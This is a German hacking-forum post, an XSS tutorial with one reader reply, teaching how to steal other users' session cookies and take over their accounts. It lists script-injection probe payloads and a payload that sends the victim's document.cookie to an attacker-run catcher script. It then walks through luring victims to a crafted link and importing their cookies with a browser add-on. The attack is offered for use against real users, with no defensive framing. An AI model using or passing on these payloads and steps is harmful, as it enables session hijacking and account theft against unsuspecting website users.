Eine Antwort in diesem Thema

[PaulaAbdul]

XSS Tutorial by PaulaAbdul

Einleitung

In diesem Tutorial zeige ich euch, wie sich durch eine XSS-Lücke die Cookies eines Vics abfangen lassen. Dadurch ist es möglich die Kontrolle über User Accounts zu erhalten.


Was kann man mit Cookies anstellen?

Cookies werden lokal im Browser gespeichert und können somit von uns editiert werden. Durch die Manipulation der Browser Cookies können sogenannte Login-Sessions übernommen werden. Man gibt der vuln Website also vor, bereits eingeloggt zu sein. Das ganze wird auch als Session Hijacking bezeichnet.


Los gehts:

Registriere dich zuerst bei einem Webhoster deiner Wahl (natürlich mit php). Lade anschließend den folgenden Cookie Catcher herunter und uploade ihn mit Hilfe eines FTP Programms beim Webhoster. Anschließend erstellt ihr eine leere Datei cookies.php und setzt für die Datei Schreibrechte (CHMOD 777). Wie das z.B. mit dem FTP Programm Filezilla funktioniert seht ihr hier:
 

Please Login HERE or Register HERE to see this link!

Der Cookie Catcher grabbt die Cookies, IP-Adresse, den Referral Link sowie Uhrzeit & Datum und schreibt sie in die zuvor erstellte Datei cookies.php . Beide Dateien müssen sich im selben Verzeichniss befinden.


Vulnerable Sites finden & testen:

Wir brauchen nun also eine Seite, die verwundbar ist:

Versteckter Inhalt
Klicke auf den Danke-Button um den versteckten Inhalt sehen zu können. Nur registrierte Mitglieder haben Zugriff hierauf.

 
Wenn Javascript in deinem Browser deaktiviert ist solltest du es an dieser Stelle aktivieren.
Um zu testen, ob eine Seite vuln ist, können wir folgende Codeschnipsel in das zu testende Formularfeld eintippen:
 

"><script>alert(document.cookie)</script>

'><script>alert(document.cookie)</script>

"><script>alert("XSS")</script>

'><script>alert("XSS")</script>

><script>alert("XSS")</script>

<script>alert("XSS")</script>

Alternativ zu den Anführungszeichen " können auch auch einfache Anführungszeichen (links) verwendet werden: '
Wenn beim Testen nun also eine Popup-Meldung erscheint wie im folgenden Beispiel, ist die Seite vulnerable.

Grabben der Cookies:

Wenn die Seite also vuln ist, versuchen wir nun durch Eingabe des folgenden Codeschnipsels in das Formularfeld die Cookies zu grabben (http:/ /domain.com/catcher.php muss natürlich mit dem Link zum hochgeladenen Script ersetzt werden).
 

<script>document.location="http:/ /domain.com/catcher.php?c="+document.cookie</script>

Um zu sehen ob wir Erfolg hatten können wir nun http:/ /domain.com/cookies.php im Browser aufrufen. Darin sollten sich jetzt die Cookies befinden.


Umsetzung:

Um die Cookies eines Users abzufangen, muss dieser einen Link aufrufen, der den Codeschnipsel bereits beinhaltet. Der Link kann in der Regel einfach nach der Eingabe des Schadcodes in das Formularfeld aus der Adressleiste des Browsers kopiert werden.

Zum Verwalten und editieren der Browser Cookies installierst du dir am besten ein Browser Addon. Für Firefox ist z.B. der

Please Login HERE or Register HERE to see this link!

zu empfehlen. Mit Hilfe des Addons kannst du die erbeuteten Cookies nun hinzufügen.

Ein erneuter Aufruf der vuln Website wird dir nun zeigen, dass du bereits im Account des Victims eingeloggt bist.


> Mission complete!


Dieses Tutorial hat sich nicht von selbst geschrieben. Bei Weitergabe oder Veröffentlichung bitte ich deshalb um einen Verweis zu http://www.toolbase.bz

[C4shin0ut]

tag das bild ist offline und trotz danke button bleibt mir der inhalt der box verborgen mfg

ansonsten gutes tut danke